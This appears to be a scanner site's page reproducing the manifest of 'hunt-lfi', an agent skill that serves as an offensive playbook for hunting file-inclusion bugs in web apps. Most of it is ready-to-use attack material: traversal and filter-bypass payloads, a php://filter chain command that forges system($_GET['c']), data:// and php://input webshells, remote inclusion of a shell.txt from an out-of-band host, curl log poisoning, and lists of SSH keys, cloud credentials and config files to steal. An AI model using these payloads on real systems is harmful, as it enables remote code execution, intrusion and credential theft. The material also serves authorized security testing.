hunt-lfi — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-lfi (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.
Highest-value chains (in rough order of reliability in 2026):
php://filter file-read primitive is upgraded to RCE with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.open_basedir and unreadable log perms, so verify the log is readable first.php://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.
../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path.root:x:0:0: line, real PHP source after base64-decoding the filter output).expect:// / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran./etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence./etc/passwd → grep ^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}| Signal | Vector |
|---|---|
PHP (X-Powered-By, .php, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// |
| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |
Apache 2.4.49 / 2.4.50 (Server: banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE |
PHP-CGI on Windows (XAMPP, php-cgi.exe) | CVE-2024-4577 arg-injection → RCE |
Java servlet (/WEB-INF/) | WEB-INF/web.xml, classes/, application.properties |
| Python Flask/Django | /proc/self/environ, settings.py, SECRET_KEY |
Node.js file-serve / res.sendFile, express.static | path-traversal read, require() traversal |
| Windows IIS / .NET | ..\..\web.config, C:\Windows\win.ini, machineKey |
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.The modern flagship technique (Synacktiv, 2022). If you have a php://-capable LFI that reads a file, you can also execute attacker-chosen PHP. iconv charset conversions, chained inside php://filter, emit controlled bytes that prepend to the resource until a full <?php ... ?> payload is forged — then include() runs it. No upload endpoint, no log access, no writable path required.
# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
# git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=idNotes / gotchas:
php://filter scheme (most LFI sinks calling include/require/file_get_contents on the param do).<?=shorthand?>).<?php file_get_contents("http://x.<collab>/".id);?>) to confirm execution OOB.open_basedir). Try it whenever you have a php:// filter read.# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
# POST ?file=php://input body: <?php system($_GET['c']); ?>
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://idRFI = the include target is a remote URL. Prerequisite: allow_url_include=On (and allow_url_fopen=On). Off by default on modern PHP, but still seen on legacy/misconfigured hosts.
# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txtffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
"https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.Verified, correctly-attributed references for the patterns above:
php_filter_chain_generator. Not a CVE; an abuse of documented iconv behaviour. The reason a bare file-read upgrades to Critical.%2e in normalized path) → file read, and RCE when mod_cgi is enabled.%%32%65) → traversal/RCE.Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do not paraphrase a report ID from memory. A wrong ID is worse than none.
# Linux
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
/proc/self/environ /proc/self/cmdline /proc/self/status
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
/home/*/.ssh/id_rsa /root/.ssh/id_rsa /root/.bash_history
/var/www/html/app/config/parameters.yml # Symfony
.git/config .git/HEAD composer.json package.json
# App / cloud secrets
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
# Windows / .NET
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config| Filter | Bypass |
|---|---|
Strips ../ once | ....// or ..../\ (re-forms ../ after strip) |
| URL-decodes once | %252f (double-encode /), %252e for dots |
Decodes once, blocks .. | Encode dots: %2e%2e%2f / overlong %c0%ae (legacy) |
Appends .php to input | ? or # truncation; null byte %00 (PHP < 5.3.4) |
Blocks php:// scheme | try PHP://, pHp://, or data:// / expect:// |
| Prepends fixed base dir | enough ../ to escape; or absolute path if no base prepend |
Blocks /etc/passwd literal | path-truncation, /etc/./passwd, /etc//passwd |
| WAF on long filter-chains | move chain to POST body / minimize payload |
| Windows | ..\..\..\windows\win.ini, ..%5c..%5c |
| LFI primitive | Chain to | Impact |
|---|---|---|
php://filter read | filter-chain RCE (Phase 4) | RCE with no upload — Critical |
| File read | .env / config.php / wp-config.php | DB creds, API keys → backend takeover |
| File read | /proc/self/environ, ~/.aws/credentials | env secrets, cloud keys → SSRF/IAM pivot |
| Remote URL include | RFI (allow_url_include) | direct RCE — Critical |
| File read + upload | phar:// / log / session poison | RCE — Critical |
| Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |
Direct-read proof (not a false positive):
/etc/passwd must contain a literal root:x:0:0:root:/root: line. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page./etc/passwd and /etc/passwd_<rand> (non-existent) — only the real file returns content.Blind / OOB proof:
Partial / truncated reads:
php://filter/convert.base64-encode so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.RCE proof: show command output you control — id / whoami / hostname reflected, or an OOB callback from inside the executed payload (curl http://<collab>/). "The payload was accepted" is not RCE.
Severity:
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.